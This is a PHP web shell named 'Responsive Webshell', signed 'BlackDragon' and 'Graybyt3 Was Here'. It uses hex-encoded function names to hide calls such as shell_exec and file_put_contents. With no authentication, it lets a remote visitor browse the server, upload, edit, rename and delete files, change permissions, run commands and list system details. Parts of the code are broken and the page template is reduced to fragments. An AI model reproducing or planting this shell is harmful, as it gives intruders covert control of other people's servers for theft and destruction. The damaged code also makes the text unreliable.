<?php
/**
* Responsive Webshell
**/
$iniarray = [
"7068705F756E616D65", # [0]
"73657373696F6E5F7374617274", # [1]
"6572726F725F7265706F7274696E67", # [2]
"70687076657273696F6E", # [3]
"66696C655F7075745F636F6E74656E7473", # [4]
"66696C655F6765745F636F6E74656E7473", # [5]
"66696C657065726D73", # [6]
"66696C656D74696D65", # [7]
"66696C6574797065", # [8]
"68746D6C7370656369616C6368617273", # [9]
"737072696E7466", # [10]
"737562737472", # [11]
"676574637764", # [12]
"6368646972", # [13]
"7374725F7265706C616365", # [14]
"6578706C6F6465", # [15]
"666C617368", # [16]
"6D6F76655F75706C6F616465645F66696C65", # [17]
"7363616E646972", # [18]
"676574686F737462796E616D65", # [19]
"7368656C6C5F65786563", # [20]
"53797374656D20496E666F726D6174696F6E", # [21]
"6469726E616D65", # [22]
"64617465", # [23]
"6D696D655F636F6E74656E745F74797065", # [24]
"66756E6374696F6E5F657869737473", # [25]
"6673697A65", # [26]
"726D646972", # [27]
"756E6C696E6B", # [28]
"6D6B646972", # [29]
"72656E616D65", # [30]
"7365745F74696D655F6C696D6974", # [31]
"636C656172737461746361636865", # [32]
"696E695F736574", # [33]
"696E695F676574", # [34]
"6765744F776E6572", # [35]
"6765745F63757272656E745F75736572" # [36]
];
for ($i = 0; $i = 1024) {
$size /= 1024;
$pos++;
}
return round($size, 2)." ".$a[$pos];
}
function hexa($str) {
$r = "";
$len = (strlen($str) - 1);
for ($i = 0; $i < $len; $i += 2) {
$r .= chr(hexdec($str[$i].$str[$i + 1]));
}
return $r;
}
function flash($message, $status, $class, $redirect = false) {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
$_SESSION["message"] = $message;
$_SESSION["class"] = $class;
$_SESSION["status"] = $status;
if ($redirect) {
header('Location: ' . $redirect);
exit();
}
return true;
}
function clear() {
if (!empty($_SESSION["message"])) {
unset($_SESSION["message"]);
}
if (!empty($_SESSION["class"])) {
unset($_SESSION["class"]);
}
if (!empty($_SESSION["status"])) {
unset($_SESSION["status"]);
}
return true;
}
if (isset($_GET['dir'])) {
$path = $_GET['dir'];
$func[13]($_GET['dir']);
} else {
$path = $func[12]();
}
$path = $func[14]('\\', '/', $path);
$exdir = $func[15]('/', $path);
function getOwner($item) {
if (function_exists("posix_getpwuid")) {
$downer = @posix_getpwuid(fileowner($item));
$downer = $downer['name'];
} else {
$downer = fileowner($item);
}
if (function_exists("posix_getgrgid")) {
$dgrp = @posix_getgrgid(filegroup($item));
$dgrp = $dgrp['name'];
} else {
$dgrp = filegroup($item);
}
return $downer . '/' . $dgrp;
}
if (isset($_POST['newFolderName'])) {
if ($func[29]($path . '/' . $_POST['newFolderName'])) {
$func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
if ($func[4]($_POST['newFileName'], $_POST['newFileContent'])) {
$func[16]("Create File Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Create File Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
if ($_POST['newName'] == '') {
$func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if ($func[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
$func[16]("Rename Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Rename Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
if ($func[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
$func[16]("Edit Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Edit Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
if ($_POST['newPerm'] == '') {
$func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
$func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Change Permission", "Failed", "error", "?dir=$path");
}
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
if (is_dir($_GET['item'])) {
if ($func[27]($_GET['item'])) {
$func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Delete Failed", "Failed", "error", "?dir=$path");
}
} else {
if ($func[28]($_GET['item'])) {
$func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
$func[16]("Delete Failed", "Failed", "error", "?dir=$path");
}
}
}
if (isset($_FILES['uploadfile'])) {
$total = count($_FILES['uploadfile']['name']);
for ($i = 0; $i < $total; $i++) {
$mainupload = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
}
if ($total
GOOGLE
Graybyt3 Was Here
$pat) :
if ($pat == '' && $id == 0):
?>
/
<a href="?dir=
/
[ HOME ]
Exec
Submit
New Name
Submit
Back
Submit
Copy
Back
File Name :
Back
Submit
Back
Folder Name
Submit
File Name
File Content
Submit
Uname
>
Software
>
PHP
>
Protocol
>
IP / Port
> /
Mail
>
Curl
>
Owner
>
MySQL
>
Disable Function
>
*ReClick For Close
File : BlackDragon
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
-
© BlackDragon var creditsyear = new Date();document.write(creditsyear.getFullYear());
Swal.fire(
'',
'',
''
)
function deleteConfirm(url) {
event.preventDefault()
Swal.fire({
title: 'Are you sure?',
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonColor: '#d33',
confirmButtonText: 'Yes, delete it!'
}).then((result) => {
if (result.isConfirmed) {
window.location.href = url
}
})
}
function jscopy() {
var jsCopy = document.getElementById("CopyFromTextArea");
jsCopy.focus();
jsCopy.select();
document.execCommand("copy");
}